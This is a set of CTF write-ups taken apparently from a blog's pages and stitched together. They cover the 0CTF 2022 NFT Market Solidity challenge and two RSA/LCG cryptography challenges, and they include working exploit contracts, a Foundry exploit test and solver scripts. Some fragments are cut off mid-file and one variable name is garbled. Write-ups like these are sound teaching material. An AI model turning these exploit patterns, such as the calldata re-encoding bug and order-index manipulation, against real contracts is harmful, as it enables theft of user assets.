99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from sage.all import * 
import random as rand
from tqdm import tqdm 
import time 
from Crypto.Util.number import inverse, getPrime 
 
p_size = 1000
d_size = 105
l_size = 55
 
enc = 35558284230663313298312684064040643811204702946900174110911295087662938676356112802781671547473910691476600838877279843972105403072929243674403244286458898562457747942651643439624568905004454158744508429126554955023110569348839934098381885098523538078300248638407684468503519326866276798222721018258242443186786917829878515320321445508466038372324063139762003962072922393974710763356236627711414307859950011736526834586028087922704589199885845050751932885698053938070734392371814246294798366452078193195538346218718588887085179856336533576097324041969786125752304133487678308830354729347735644474025828
 
pk = (44774502335951608354043148360684114092901940301155357314508676399067538307546121753785009844275454594381602690061553832466871574728524408152400619047820736137949166290404514747591817206669966103047443912935755873432503095952914080827536130899968275165557303493867755627520568588808534411526058896791373252974606364861105086430729757064078675811147972536205086402752245214343186536177015741922559575575911278873118556603923689408629477875537332177644886701517140711134017511229202430437068095342526435886609381176269251580339549071944830141516001532825295594908434587285225415103472279090325281062442217, 29624366183227462965645558392954094074485353876807451497147549927093025197118051280445930543762170853769573962200247669305286333212410439624262142109295839433584663989554419810341266820063074908743295553517790354149623873028162282751352613333181218478850463012413786673509078012976454604598813805735677104174112776060905225493357010861225261560490401501912259585922988353328944884443953564154752191932500561561256069872534626325000901099904014035414792860997025614313564862063784602254606240743545483125618939111639728114664995759380293512809125885893543730614962375399353971677980309835647540883700977)
 
hint = (5013415024346389, 4333469053087705)
 
 
(n, e) = pk
(hint_p, hint_q) = hint
 
SIZE = 1 << ((d_size - l_size) // 2)
m = Zmod(n)(rand.randint(2, 1 << 128))
print("m", int(m))
 
RR = Zmod(n)
 
chirp = m ** (e << l_size)
Fix1 = m ** (e * hint_p)
Fix2 = m ** (e << ((l_size + d_size) // 2))
 
sys.setrecursionlimit(10 ** 6)
 
P = PolynomialRing(RR, 'x')
x = P.gen()
 
T = time.time()
 
cnt = 0 
 
DEG_BOUND = (1 << 24)
 
def getMul(f1, f2):
    if f1.degree() < DEG_BOUND and f2.degree() < DEG_BOUND:
        return f1 * f2
    arr = [RR(0)] * (f1.degree() + f2.degree() + 1)
    temp1 = f1.coefficients(sparse = False)
    temp2 = f2.coefficients(sparse = False)
    idx1 = 0
    U1s = []
    while idx1 <= f1.degree():
        U1s.append(P(temp1[idx1: idx1 + DEG_BOUND]))
        idx1 += DEG_BOUND 
    idx2 = 0
    U2s = []
    while idx2 <= f2.degree():
        U2s.append(P(temp2[idx2: idx2 + DEG_BOUND]))
        idx2 += DEG_BOUND
    idx1, idx2 = 0, 0
    while idx1 * DEG_BOUND <= f1.degree():
        idx2 = 0
        while idx2 * DEG_BOUND <= f2.degree():
            temp = (U1s[idx1] * U2s[idx2]).coefficients(sparse = False)
            for v in range(len(temp)):
                arr[(idx1 + idx2) * DEG_BOUND + v] += temp[v]
            idx2 += 1
        idx1 += 1
    return P(arr)
 
def compute(L, R):
    global cnt
    if R - L == (1 << 16):
        print("HEY", cnt)
        cnt += 1
    if L >= R:
        return 1 
    if L + 1 == R:
        return ((Fix2 ** L) * Fix1) * x - m
    f1 = compute(L, (L + R) // 2)
    f2 = compute((L + R) // 2, R)
    return getMul(f1, f2)
 
G = compute(0, SIZE)
 
print(time.time() - T)
 
# now compute all 
print("computed G(x), now multipoint eval via chirp-z")
 
coefG = G.coefficients(sparse = False)
 
del G 
 
A1 = [RR(1), RR(1)]
cur = RR(1)
for i in tqdm(range(2, SIZE * 2)):
    cur = cur * chirpwa
    A1.append(A1[i-1] * cur)
 
A0 = []
for i in tqdm(range(SIZE + 1)):
    A0.append(coefG[SIZE - i] / A1[SIZE - i])
 
del coefG
 
 
idx1 = 0
U1s = []
while idx1 <= SIZE:
    U1s.append(P(A0[idx1: idx1 + DEG_BOUND]))
    idx1 += DEG_BOUND 
del A0 
 
print("A0")
 
idx2 = 0
U2s = []
while idx2 <= SIZE * 2 - 1:
    U2s.append(P(A1[idx2: idx2 + DEG_BOUND]))
    idx2 += DEG_BOUND
 
print("A1")
 
arr = [RR(0)] * (SIZE)
idx1, idx2 = 0, 0
while idx1 * DEG_BOUND <= SIZE:
    idx2 = 0
    while idx2 * DEG_BOUND <= SIZE * 2 - 1:
        temp = (U1s[idx1] * U2s[idx2]).coefficients(sparse = False)
        for v in range(len(temp)):
            if SIZE <= (idx1 + idx2) * DEG_BOUND + v < 2 * SIZE:
                arr[(idx1 + idx2) * DEG_BOUND + v - SIZE] += temp[v]
        del temp 
        idx2 += 1
    idx1 += 1
 
print("now let's calculate it!")
 
for i in tqdm(range(0, SIZE)):
    val = arr[i] / A1[i]
    t = GCD(int(val), n)
    if t != 1 and t != n:
        print("Found!!!!", t)
 
print(time.time() - T)
 
 cs
저작자표시 비영리

'CTF' 카테고리의 다른 글

BlackHat MEA Finals  (0) 2022.11.21
CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09
0CTF 2022 TCTF NFT Market  (0) 2022.09.19
WACon 2022 Quals: RSA Secret Sharing  (0) 2022.06.27
CODEGATE 2022 Preliminary : Prime-Generator  (0) 2022.02.28
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
 
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
 
contract TctfNFT is ERC721, Ownable {
    constructor() ERC721("TctfNFT", "TNFT") {
        _setApprovalForAll(address(this), msg.sender, true);
    }
 
    function mint(address to, uint256 tokenId) external onlyOwner {
        _mint(to, tokenId);
    }
}
 
contract TctfToken is ERC20 {
    bool airdropped;
 
    constructor() ERC20("TctfToken", "TTK") {
        _mint(address(this), 100000000000);
        _mint(msg.sender, 1337);
    }
 
    function airdrop() external {
        require(!airdropped, "Already airdropped");
        airdropped = true;
        _mint(msg.sender, 5);
    }
}
 
struct Order {
    address nftAddress;
    uint256 tokenId;
    uint256 price;
}
struct Coupon {
    uint256 orderId;
    uint256 newprice;
    address issuer;
    address user;
    bytes reason;
}
struct Signature {
    uint8 v;
    bytes32[2] rs;
}
struct SignedCoupon {
    Coupon coupon;
    Signature signature;
}
 
contract TctfMarket {
    event SendFlag();
    event NFTListed(
        address indexed seller,
        address indexed nftAddress,
        uint256 indexed tokenId,
        uint256 price
    );
 
    event NFTCanceled(
        address indexed seller,
        address indexed nftAddress,
        uint256 indexed tokenId
    );
 
    event NFTBought(
        address indexed buyer,
        address indexed nftAddress,
        uint256 indexed tokenId,
        uint256 price
    );
 
    bool tested;
    TctfNFT public tctfNFT;
    TctfToken public tctfToken;
    CouponVerifierBeta public verifier;
    Order[] orders;
 
    constructor() {
        tctfToken = new TctfToken();
        tctfToken.approve(address(this), type(uint256).max);
 
        tctfNFT = new TctfNFT();
        tctfNFT.mint(address(tctfNFT), 1);
        tctfNFT.mint(address(this), 2);
        tctfNFT.mint(address(this), 3);
 
        verifier = new CouponVerifierBeta();
 
        orders.push(Order(address(tctfNFT), 1, 1));
        orders.push(Order(address(tctfNFT), 2, 1337));
        orders.push(Order(address(tctfNFT), 3, 13333333337));
    }
 
    function getOrder(uint256 orderId) public view returns (Order memory order) {
        require(orderId < orders.length, "Invalid orderId");
        order = orders[orderId];
    }
 
    function createOrder(address nftAddress, uint256 tokenId, uint256 price) external returns(uint256) {
        require(price > 0, "Invalid price");
        require(isNFTApprovedOrOwner(nftAddress, msg.sender, tokenId), "Not owner");
        orders.push(Order(nftAddress, tokenId, price));
        emit NFTListed(msg.sender, nftAddress, tokenId, price);
        return orders.length - 1;
    }
 
    function cancelOrder(uint256 orderId) external {
        Order memory order = getOrder(orderId);
        require(isNFTApprovedOrOwner(order.nftAddress, msg.sender, order.tokenId), "Not owner");
        _deleteOrder(orderId);
        emit NFTCanceled(msg.sender, order.nftAddress, order.tokenId);
    }
 
    function purchaseOrder(uint256 orderId) external {
        Order memory order = getOrder(orderId);
        _deleteOrder(orderId);
        IERC721 nft = IERC721(order.nftAddress);
        address owner = nft.ownerOf(order.tokenId);
        tctfToken.transferFrom(msg.sender, owner, order.price);
        nft.safeTransferFrom(owner, msg.sender, order.tokenId);
        emit NFTBought(msg.sender, order.nftAddress, order.tokenId, order.price);
    }
 
    function purchaseWithCoupon(SignedCoupon calldata scoupon) external {
        Coupon memory coupon = scoupon.coupon;
        require(coupon.user == msg.sender, "Invalid user");
        require(coupon.newprice > 0, "Invalid price");
        verifier.verifyCoupon(scoupon);
        Order memory order = getOrder(coupon.orderId);
        _deleteOrder(coupon.orderId);
        IERC721 nft = IERC721(order.nftAddress);
        address owner = nft.ownerOf(order.tokenId);
        tctfToken.transferFrom(coupon.user, owner, coupon.newprice);
        nft.safeTransferFrom(owner, coupon.user, order.tokenId);
        emit NFTBought(coupon.user, order.nftAddress, order.tokenId, coupon.newprice);
    }
 
    function purchaseTest(address nftAddress, uint256 tokenId, uint256 price) external {
        require(!tested, "Tested");
        tested = true;
        IERC721 nft = IERC721(nftAddress);
        uint256 orderId = TctfMarket(this).createOrder(nftAddress, tokenId, price);
        nft.approve(address(this), tokenId);
        TctfMarket(this).purchaseOrder(orderId);
    }
 
    function win() external {
        require(tctfNFT.ownerOf(1) == msg.sender && tctfNFT.ownerOf(2) == msg.sender && tctfNFT.ownerOf(3) == msg.sender);
        emit SendFlag();
    }
 
    function isNFTApprovedOrOwner(address nftAddress, address spender, uint256 tokenId) internal view returns (bool) {
        IERC721 nft = IERC721(nftAddress);
        address owner = nft.ownerOf(tokenId);
        return (spender == owner || nft.isApprovedForAll(owner, spender) || nft.getApproved(tokenId) == spender);
    }
 
    function _deleteOrder(uint256 orderId) internal {
        orders[orderId] = orders[orders.length - 1];
        orders.pop();
    }
 
    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
 
contract CouponVerifierBeta {
    TctfMarket market;
    bool tested;
 
    constructor() {
        market = TctfMarket(msg.sender);
    }
 
    function verifyCoupon(SignedCoupon calldata scoupon) public {
        require(!tested, "Tested");
        tested = true;
        Coupon memory coupon = scoupon.coupon;
        Signature memory sig = scoupon.signature;
        Order memory order = market.getOrder(coupon.orderId);
        bytes memory serialized = abi.encode(
            "I, the issuer", coupon.issuer,
            "offer a special discount for", coupon.user,
            "to buy", order, "at", coupon.newprice,
            "because", coupon.reason
        );
        IERC721 nft = IERC721(order.nftAddress);
        address owner = nft.ownerOf(order.tokenId);
        require(coupon.issuer == owner, "Invalid issuer");
        require(ecrecover(keccak256(serialized), sig.v, sig.rs[0], sig.rs[1]) == coupon.issuer, "Invalid signature");
    }
}
 
 
 
 cs

 

Problem Summary

The goal here is to emit the event SendFlag(). To do so, we need to gain control of all three NFTs. 

 

In the contract file, there is an ERC721 called "TctfNFT" and ERC20 called "TctfToken". We also see that during the initialization the marketplace contract gets 1337 TctfTokens. In the market's constructor, three NFTs are minted, the first to the NFT contract and the other to the market contract. These three NFTs are put on sale on a price of 1, 1337, and some insanely large price. We'll have to get all these NFTs.

 

Looking at the contract's methods, we see that

  • We may get an airdrop of 5 tokens but only once.
  • We can create a sell order of NFT under the condition that we have control (approval or owner) over it.
  • We can cancel a sell order of NFT under the condition that we have control over it.
  • We can purchase an order of NFT with enough tokens. 
  • We can purchase an order of NFT with a coupon, but only once. The issuer of the coupon should be the NFT owner, and we have to supply the signature of the issuer for the coupon. For this problem, we pretty much have to know the private key of the issuer. 
  • We can use purchaseTest() function only once. Here, the market creates one order and purchases it on its own.

Approach

The constraint gives us some hints on how to approach the problem. 

 

The first NFT is very cheap, so we can purchase without any trickery. The two functions purchaseTest() and purchaseWithCoupon() are very suspicious, and we can use these only once each. Therefore, each suspicious functions will have us stealing one NFT. Since purchaseWithCoupon() function gives us power to change a price of an order, we should use it to buy the third NFT. The second NFT costs 1337 tokens, and it just happens that the market contract holds 1337 tokens. Therefore, we should use purchaseTest function to steal those tokens. 

 

Part 1: The purchaseTest()

There are multiple ways to solve this part of the problem. I'll show my solution and sqrtrev's solution. 

 

The dangerous thing about many of the market's methods is that it takes the order ID as input. If we simply used a mapping for these orders, it would probably not be a problem. However, we use a variable length array to handle our orders. To keep our array length the same as the number of valid orders, we use a nice algorithm which can be seen in _deleteOrder(). When an element of the array is deleted, the element at the back is put at the location of the deleted element. This is also a strategy used in OpenZeppelin's EnumerableSet contracts to keep index of the elements. Now we see the problem - the value at a specific index may change due to element addition and deletion. 

 

Now let's take a look at the purchaseTest() function again. It creates order, then purchases the order. 

If we look at the createOrder() function again, we see that the only external calls are done to simply check the approval or ownership, but those are done with staticcalls. Therefore, we can't use that to attack. We also see that we can't perform the attack in purchaseOrder(). Thankfully for us, there is an approve call to the NFT address. This can definitely be used to our advantage. 

 

Basically, we create a dumb NFT and send it to the TctfMarket. We call purchaseTest() with the NFT. 

Inside the approve() call, we will create another order, which sells a dumb NFT that we own at 1337 tokens. Then, we will remove the order that we just created. This will make the order at the order ID equal to the "sell dumb NFT at 1337 token" order. Now the market will happily purchase this new order, sending us 1337 tokens. This gives us enough funds to buy the second NFT anytime we want. 

 

sqrtrev's solution is much simple, it simply sends the NFT that is being sold at purchaseTest() to our EOA at the approve() call. Inside the purchaseOrder() function, we see that the funds are sent to the owner of the token, so it'll be sent to us. Looking back, I overcomplicated this part of the problem. Part of it is because I took a look at EnumerableSet recently, I guess. It's all very cool ideas, so it's good. 

 

Part 2: The purchaseWithCoupon()

The first thing we have to notice is that verifyCoupon() is practically a view function. The getOrder() function inside is  view, so it'll be done with staticcall. The ownerOf() function is also view, so staticcall will be used. Therefore, we can't use the same idea to re-enter with a different order at coupon's order ID. Therefore, we can't do anything malicious until the token transfers come in.

 

We initially thought that the ideas from Part 1 still work, so I wrote all scripts and then realized that it doesn't work. 

I believed that a compiler bug must be the way to go, and began searching on solidity's list of known bugs.

 

Then I came across https://blog.soliditylang.org/2022/08/08/calldata-tuple-reencoding-head-overflow-bug/

 

Head Overflow Bug in Calldata Tuple ABI-Reencoding

On July 5, 2022, Chance Hudson (@vimwitch) from the Ethereum Foundation discovered a bug in the Solidity code generator. The earliest affected version of the compiler is 0.5.8, which introduced ABI-reencoding of calldata arrays and structs. Solidity versio

blog.soliditylang.org

 

Literally everything matched the challenge - 

  • This solidity bug was patched in 0.8.16. The challenge uses 0.8.15.
  • It's stated that the last component must be static-sized array. It is bytes32[2].
  • It's stated that one dynamic component is needed. There is a bytes value. 
  • The bug clears the first 32 bytes of the first dynamic tuple. That happens to be order ID.
  • In the blog, it is stated that "Plausible attacks against affected contracts can only occur in situations where the contract accepts a static calldata array as a part of its input and forwards it to another external call without modifying the content." This is exactly what happens in purchaseWithCoupon() and verifyCoupon(). The SignedCoupon struct is sent in as a calldata, and it's directly forwarded.

Some testing shows that if we send a SignedCoupon with order ID 1, it's forwarded to verifyCoupon with order ID 0. 

This means that if we have some order that we control at order 0 and the order for the third NFT at some other place, we can use the coupon. This is because the order used to verify the coupon is the order 0, which we own the NFT of. This means that we can sign our own coupon, but use it on the order for the third NFT with the solidity bug. All that's left is to combine these.

 

Part 3: Combining Everything

We'll denote the order for the NFTs that we need to get as order #1, #2, #3. We note that for the bug at Part 2, we need a order that we control at the order ID 0. With this in mind, we will set up our attack as follows. We'll use sqrtrev's approach on Part 1.

  • Get the TctfToken airdrop. Currently, the orders on the market is [#1, #2, #3].
  • Perform sqrtrev's attack. We'll get 1337 tokens, and the orders on the market is still [#1, #2, #3].
  • We'll buy NFT #2 with our 1337 tokens, and the orders on the market is [#1, #3]
  • We'll mint a dumb NFT to ourself, and create an order. The orders on the market is [#1, #3, us].
  • Now we'll buy NFT #1 with 1 token. The orders on the market is [us, #3].
  • Now the order ID 0 is an order we control - so the attack from Part 2 works. We buy NFT #3 with 1 token. 

This will give us the flag. Foundry testing is very easy to do, but hardhat scripting was a bit painful. It can be done though.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
// FakeNFT for attack
 
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
 
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./Task.sol";
 
 
contract FakeNFT is ERC721 {
    uint256 called = 0;
    uint256 approved = 0;
    TctfMarket market;
    TctfToken token;
 
    constructor() ERC721("FakeNFT", "FNFT") {
        _setApprovalForAll(address(this), msg.sender, true);
    }
 
    function getParams(address t1, address t2) public {
        market = TctfMarket(t1);
        token = TctfToken(t2);
    }
 
    function mint(address to, uint256 tokenId) external {
        _mint(to, tokenId);
    }
 
    function approve(address dest, uint256 tokenId) public override {
        if(approved == 0) {
            super.safeTransferFrom(msg.sender, USER, 1); // sqrtrev's code: he hardcoded USER here
        } else {
            super.approve(dest, tokenId);
        }
        approved += 1;
    }
 
    function safeTransferFrom(address, address, uint256) public override {
        
    }
}
 
// foundry testing
 
function setUp() public {
    vm.label(user, "user");
    vm.label(deployer, "deployer");
    vm.startPrank(deployer, deployer);
    market = new TctfMarket();
    vm.stopPrank();
 
    token = market.tctfToken();
    NFT = market.tctfNFT();
}
 
function testExploit() public {
    vm.startPrank(user);
    fakeNFT = new FakeNFT();
 
    emit log_address(address(fakeNFT));
 
    Coupon memory coupon;
    Signature memory signature;
    SignedCoupon memory scoupon;
    Order memory order;
 
    token.airdrop(); // get 5 tokens
 
    fakeNFT.mint(address(market), 1);
    market.purchaseTest(address(fakeNFT), 1, 1337);
 
    token.approve(address(market), 1337 + 5);
 
    fakeNFT.mint(user, 2);
    fakeNFT.approve(address(fakeNFT), 2);
 
    market.createOrder(address(fakeNFT), 2, 1);
    market.purchaseOrder(0); 
    market.purchaseOrder(1);
 
    coupon.orderId = 1;
    coupon.newprice = 1;
    coupon.issuer = user;
    coupon.user = user;
    coupon.reason = "rkm0959";
 
    order = market.getOrder(0);
 
    bytes memory serialized = abi.encode(
        "I, the issuer", coupon.issuer,
        "offer a special discount for", coupon.user,
        "to buy", order, "at", coupon.newprice,
        "because", coupon.reason
    );
 
    (signature.v, signature.rs[0], signature.rs[1]) = vm.sign(pvk, keccak256(serialized)); // pvk = user's private key
 
    scoupon.coupon = coupon;
    scoupon.signature = signature;
 
    emit log_uint(uint256(signature.v));
    emit log_bytes32(signature.rs[0]);
    emit log_bytes32(signature.rs[1]);
    
    market.purchaseWithCoupon(scoupon);
 
    market.win();
}
 cs
저작자표시 비영리

'CTF' 카테고리의 다른 글

CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09
0CTF 2022 ezRSA+++  (0) 2022.09.19
WACon 2022 Quals: RSA Secret Sharing  (0) 2022.06.27
CODEGATE 2022 Preliminary : Prime-Generator  (0) 2022.02.28
CODEGATE 2022 Preliminary : Dark Arts  (0) 2022.02.28

https://github.com/rkm0959/Cryptography_Writeups/blob/main/2022/WAConQual/rsa-secret-sharing-chal.py

https://github.com/rkm0959/Cryptography_Writeups/blob/main/2022/WAConQual/rsa-secret-sharing-exploit.py

 

RSA Secret Sharing: by rkm0959 (2 solves in General, 1 solve in Junior)

ON 2-out-of-3 SECRET SHARING BASED ON RSA - MemeCrypt 2022

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
import string, signal, random, hashlib 
signal.alarm(1500)
 
def gen_pow():
    print("Solve PoW plz")
    s = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(16))
    print(s)
    answer = input()
    hash = bytes_to_long(hashlib.sha256((s + answer).encode()).digest())
    if hash != (hash >> 26) << 26:
        exit() 
 
gen_pow()
q = getPrime(342)
print("q = {}".format(q))
 
class LCG:
    def __init__(self, a, x, b):
        self.a = a
        self.x = x 
        self.b = b 
    def fetch(self):
        ret = self.x
        self.x = (self.a * self.x + self.b) % q 
        return ret 
    
print("Hello! You are the owner of one Share Generator! Please insert your parameters :)")
a = int(input()) % q
x = int(input()) % q
b = int(input()) % q
 
assert 1 <= a < q and 1 <= x < q and 1 <= b < q 
 
LCG1 = LCG(a, x, b)
LCG2 = LCG(random.randint(1, q-1), random.randint(1, q-1), random.randint(1, q-1))
LCG3 = LCG(random.randint(1, q-1), random.randint(1, q-1), random.randint(1, q-1))
 
# in Junior Division, LCG2.a was given additionally
 
def roll():
    return LCG3.fetch() * q * q + LCG2.fetch() * q + LCG1.fetch()
 
def checkFactor(n):
    u = int(input())
    v = int(input())
    assert 1 < u < n and 1 < v < n and u * v == n
 
pr = []
 
while len(pr) < 8:
    p = roll()
    if isPrime(p):
        pr.append(p)
 
n1 = pr[0] * pr[1]
n2 = pr[2] * pr[3]
n3 = pr[4] * pr[5]
n4 = pr[6] * pr[7]
 
print(n1)
print(n2)
print(n3)
print(n4)
 
checkFactor(n1)
checkFactor(n2)
checkFactor(n3)
checkFactor(n4)
 
flag = open("flag", "r").read()
print(flag)
 cs

 

Solution

Denote $a_i, x_i, b_i$ to be the initial LCG parameters of $LCG_i$. Denote $LCG_{i, j}$ to be the $j$th value that $i$th LCG generated. 

Note that we control $a_1, x_1, b_1$. We see that with $a_i \not\equiv 1 \pmod{q}$, $$LCG_{i, j} \equiv a_i^j x_i + \frac{a_i^j - 1}{a_i - 1} b_i \equiv a_i^j \left(x_i + \frac{b_i}{a_i - 1} \right) - \frac{b_i}{a_i-1} \pmod{q}$$

We are generating roughly $1024$ bit primes, so with heuristics on prime gap we may assume that we will get our 8 primes generated in our first 6000 tries. Our first goal is to find out which of those 6000 tries were the ones that we actually generated a prime successfully.

 

To do so, we send random $a = a_1, x = x_1, b = b_1$ to the server. This generates random enough values for the LCG we control, and these LCG values will be the value of our primes modulo $q$. For each $n$, there will be two indices $u, v$ such that $$n \equiv LCG_{1, u} \cdot LCG_{1, v} \pmod{q}$$ and we may find these $u, v$ via simple brute force. 

 

Now we move on to finding the parameters for LCG2, the second LCG. If two indices $u, v$ generated $n$, we see $$n \equiv (LCG_{2, u} q + LCG_{1, u})(LCG_{2, v}q + LCG_{1, v}) \pmod{q^2}$$ and with the knowledge of $u, v, LCG_{1, u}, LCG_{1, v}$, we can write $$LCG_{1, v} LCG_{2, u} + LCG_{1, u} LCG_{2, v} \equiv \frac{n - LCG_{1, u}LCG_{1,v}}{q} \pmod{q}$$ Denote $$C \equiv x_2 + \frac{b_2}{a_2 - 1} \pmod{q}, \quad D \equiv - \frac{b_2}{a_2 - 1} \pmod{q}$$ and we can now write, with $LCG_{2, u} \equiv a_2^u C + D \pmod{q}$ and $LCG_{2, v} \equiv a_2^v C + D \pmod{q}$, that $$\left( LCG_{1, v}  a_2^u + LCG_{1, u} a_2^v \right) C + \left( LCG_{1, u} +LCG_{1, v} \right) D  \equiv \frac{n - LCG_{1, u}LCG_{1,v}}{q} \pmod{q}$$

 

Note that we have four $n$, so four such equations - and we note that $(C, D, -1)$ is orthogonal to $$\left( LCG_{1, v} a_2^u + LCG_{1, u} a_2^v, LCG_{1, u} + LCG_{1, v}, \frac{n - LCG_{1, u} LCG_{1, v}}{q} \right)$$ when considered as vectors in $\mathbb{F}_q^3$. Therefore, given three such vectors, they will be linearly dependent. This can be expressed algebraically by taking three such vectors, making a matrix with them, and then claiming its determinant is zero. 

 

This determinant will be a polynomial of $a_2$ over $\mathbb{F}_q$. There are now two ways to finish.

The first one is to directly factor this polynomial to find its roots. This is efficient enough to solve the challenge.

The second one is to get two such polynomials, using the fact that we are given not three, but four such equations. Then we can simply take the GCD of two polynomials to get a polynomial of much smaller degree. This can be solved to get $a_2$.

 

With $a_2$ calculated, we can solve the linear system to get $C, D$, and then we can solve for $x_2, b_2$ by $$x_2 \equiv C+D \pmod{q}, \quad b_2 \equiv -D(a_2-1) \pmod{q}$$ We can even check for validity of $a_2$ by checking if all four $n \pmod{q^2}$ can be recalculated accordingly. 

 

We now have full knowledge of the second LCG. There are now two ways to finish. 

The first one is to use Coppersmith's Attack - since we know 2/3 of each primes we can definitely factor each $n$. 

The second one is to apply this same logic to the third LCG - the details are practically the same. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from sage.all import *
from pwn import * 
from tqdm import tqdm 
import random as rand
from Crypto.Util.number import inverse
 
conn = remote("175.123.252.200", 6666)
 
conn.recvline()
s = conn.recvline().rstrip().decode()
assert len(s) == 16
 
for i in tqdm(range(1 << 28)):
    t = str(i)
    hash = hashlib.sha256((s + t).encode()).hexdigest()
    if hash[-6:] == "000000" and hash[-7] in "048c": 
        conn.sendline(t.encode())
        break
 
q = int(conn.recvline().split()[-1])
conn.recvline()
 
a_mine = rand.randint(1, q - 1)
x_mine = rand.randint(1, q - 1)
b_mine = rand.randint(1, q - 1)
 
conn.sendline(str(a_mine).encode())
conn.sendline(str(x_mine).encode())
conn.sendline(str(b_mine).encode())
 
n1 = int(conn.recvline())
n2 = int(conn.recvline())
n3 = int(conn.recvline())
n4 = int(conn.recvline())
 
n1q = n1 % q 
n2q = n2 % q
n3q = n3 % q 
n4q = n4 % q 
 
n1qq = n1 % (q * q)
n2qq = n2 % (q * q)
n3qq = n3 % (q * q)
n4qq = n4 % (q * q)
 
targets = [n1, n2, n3, n4]
targetsq = [n1q, n2q, n3q, n4q]
targetsqq = [n1qq, n2qq, n3qq, n4qq]
 
dat = [x_mine]
for i in range(0, 10000):
    dat.append((a_mine * dat[-1] + b_mine) % q)
 
dic = {}
for i in range(10000):
    dic[dat[i]] = i
 
idx = [(-1, -1)] * 4
for i in range(10000):
    for j in range(4):
        target = (targetsq[j] * inverse(dat[i], q)) % q
        if target in dic.keys():
            other = dic[target]
            if other < i:
                idx[j] = (other, i)
            else:
                idx[j] = (i, other)
 
print(idx)
 
st = time.time()
POL = PolynomialRing(GF(q), 'a')
a = POL.gen()
 
f1 = dat[idx[0][1]] * a ** idx[0][0] + dat[idx[0][0]] * a ** idx[0][1]
f2 = dat[idx[1][1]] * a ** idx[1][0] + dat[idx[1][0]] * a ** idx[1][1]
f3 = dat[idx[2][1]] * a ** idx[2][0] + dat[idx[2][0]] * a ** idx[2][1]
 
c1 = dat[idx[0][1]] + dat[idx[0][0]]
c2 = dat[idx[1][1]] + dat[idx[1][0]]
c3 = dat[idx[2][1]] + dat[idx[2][0]]
 
v1 = ((n1 % (q * q) - dat[idx[0][1]] * dat[idx[0][0]]) // q) % q
v2 = ((n2 % (q * q) - dat[idx[1][1]] * dat[idx[1][0]]) // q) % q
v3 = ((n3 % (q * q) - dat[idx[2][1]] * dat[idx[2][0]]) // q) % q
 
det = f1 * c2 * v3 + f2 * c3 * v1 + f3 * c1 * v2 - f1 * c3 * v2 - f2 * c1 * v3 - f3 * c2 * v1 
det = det // (a ** idx[0][0])
 
while det(1) == GF(q)(0):
    det = det // (a - 1)
print("degree : ", det.degree())
a_cand = det.roots()
print(a_cand)
en = time.time()
 
print("took {} seconds".format(en - st))
 
for root, mult in a_cand:
    a_final = root 
    F1 = int(f1(a_final))
    F2 = int(f2(a_final))
    F3 = int(f3(a_final))
 
    C = ((v1 * c2 - v2 * c1) * inverse(F1 * c2 - F2 * c1, q)) % q
    D = ((v1 - F1 * C) * inverse(c1, q)) % q 
    assert (F1 * C + c1 * D - v1) % q == 0
    assert (F2 * C + c2 * D - v2) % q == 0
 
    x_final = (C + D) % q 
    b_final = (-D * (int(a_final) - 1)) % q 
 
    dat_final = [x_final]
    for i in range(10000):
        dat_final.append((int(a_final) * dat_final[-1] + b_final) % q)
    
    ok = True 
    for i in range(4):
        pr1q2 = dat_final[idx[i][0]] * q + dat[idx[i][0]]
        pr2q2 = dat_final[idx[i][1]] * q + dat[idx[i][1]]
        if (pr1q2 * pr2q2) % (q * q) != targetsqq[i]:
            ok = False 
    
    if ok:
        for i in range(4):
            pr1q2 = dat_final[idx[i][0]] * q + dat[idx[i][0]]
            pr2q2 = dat_final[idx[i][1]] * q + dat[idx[i][1]]
            
